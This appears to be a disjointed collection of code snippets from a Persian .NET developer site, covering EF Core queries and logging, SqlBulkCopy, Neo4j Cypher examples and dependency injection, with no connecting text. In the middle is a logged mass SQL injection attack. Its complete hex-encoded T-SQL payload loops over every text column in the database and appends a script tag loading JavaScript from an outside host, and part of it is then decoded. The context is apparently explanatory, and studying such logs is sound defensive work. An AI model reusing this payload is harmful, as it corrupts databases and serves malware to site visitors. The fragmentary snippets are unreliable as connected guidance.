- برای نگارشهای قبل از آن این روش جواب میدهد:
db.table.Where(...) .Select(p => new { p.Date1, p.Comment, p.Cost, p.UserId, }) .AsEnumerable() // مهم .Select(...در اینجا مجاز هستید از هر نوع تابعی استفاده کنید..) .ToList();
db.table.Where(...) .Select(p => new { p.Date1, p.Comment, p.Cost, p.UserId, }) .AsEnumerable() // مهم .Select(...در اینجا مجاز هستید از هر نوع تابعی استفاده کنید..) .ToList();
- میتونی با کدنویسی اینکار رو انجام بدی:
var reportData = new DataSet(); reportData.ReadXml("yourfile.xml"); var connection = new SqlConnection("DB ConnectionSTring"); var sbc = new SqlBulkCopy(connection); sbc.DestinationTableName = "yourXMLTable";
INSERT Customers SELECT * FROM OPENXML ...
Microsoft.EntityFrameworkCore.Database.Command[20101] Executed DbCommand (41ms) [Parameters=[@__id_0='?' (DbType = Int32)], CommandType='Text', CommandTimeout='30'] SELECT TOP(2) [m].[Id], [m].[Address], [m].[City], [m].[Email], [m].[Name], [m].[Phone], [m].[PostalCode], [m].[State] FROM [Contact] AS [m] WHERE [m].[Id] = @__id_0
services.AddDbContext<ContactsContext>(options => { options.UseSqlServer(Configuration["Data:ContactsContext:ConnectionString"]); options.EnableSensitiveDataLogging(); });
Microsoft.EntityFrameworkCore.Database.Command[20100] Executing DbCommand [Parameters=[@__id_0='1' (Nullable = true)], CommandType='Text', CommandTimeout='30'] SELECT TOP(2) [m].[Id], [m].[Address], [m].[City], [m].[Email], [m].[Name], [m].[Phone], [m].[PostalCode], [m].[State] FROM [Contact] AS [m] WHERE [m].[Id] = @__id_0
var source = users .Include(d => d.RolesGroup) .Skip(skipRecords) .Take(recordsPerPage) .Cacheable() .ToList();
public async Task<IdentityResult> RemoveByIdAsync(int userId) { var user = FindById(userId); var identityResult = await DeleteAsync(user); return identityResult; }
Log Entry :
Error Raw Url :/show.aspx?id=15;DECLARE%20@S%20CHAR(4000);SET%20@S=
CAST(0x4445434C415245204054207661726368617228323535292C404
32076617263686172283430303029204445434C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3
02920424547494E20657865632827757064617465205B272B40542B275D20736574205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
IP=120.129.71.187
vahidnasiri.blogspot.com
DECLARE @T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR
SELECT a.name,
b.name
FROM sysobjects a,
syscolumns b
WHERE a.id = b.id
AND a.xtype = 'u'
AND (
b.xtype = 99
OR b.xtype = 35
OR b.xtype = 231
OR b.xtype = 167
)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
.....
CREATE (VariableName:objectType { guid: {keyInMainDB }, property1 :value1 ,property2 : value2 ,... )
MERGE (VariableName:objectType { guid: keyInMainDB }) SET VariableName +={property1: value1,property2: value2,...}
MERGE (object:User { guid: 1353554 }) SET object +={username:"nasser" ,time_created: 1522480294 }
match (VariableName:objectType ) return VariableName
match (object:User { guid: 1353554 }) return object
match (object:User ) where object.time_created>1522480293 return object
MATCH (v1:objectType1 {guid: guid1}), (v2:objectType2 {guid: guid2}) MERGE (v1)-[:RelationshipName]->(v2)
MATCH (usr:User {guid: 1353554 }),(img:Image {guid: 88554 }) MERGE (usr)-[:LIKE]->(img)
MATCH (usr:User)-[r:LIKE]-() Return usr
MATCH ()-[r:LIKE]-(n) Return n
MATCH (usr:User{guid:1353554 })-[r:LIKE]-(n) Return n
MATCH p=()-[r:LIKE]->() RETURN p
MATCH (usr:User )-[r:LIKE]-(n) where usr.time_created>1522480293 Return usr
private readonly IEnumerable<IMultiple> _services; public HomeController (IEnumerable<IMultiple> services) { _services = services; }
var serviceA = services.First(o => o.GetType() == typeof(ImplementationOne));
var serviceB = services.First(o => o.Name.Equals("MyClassName"));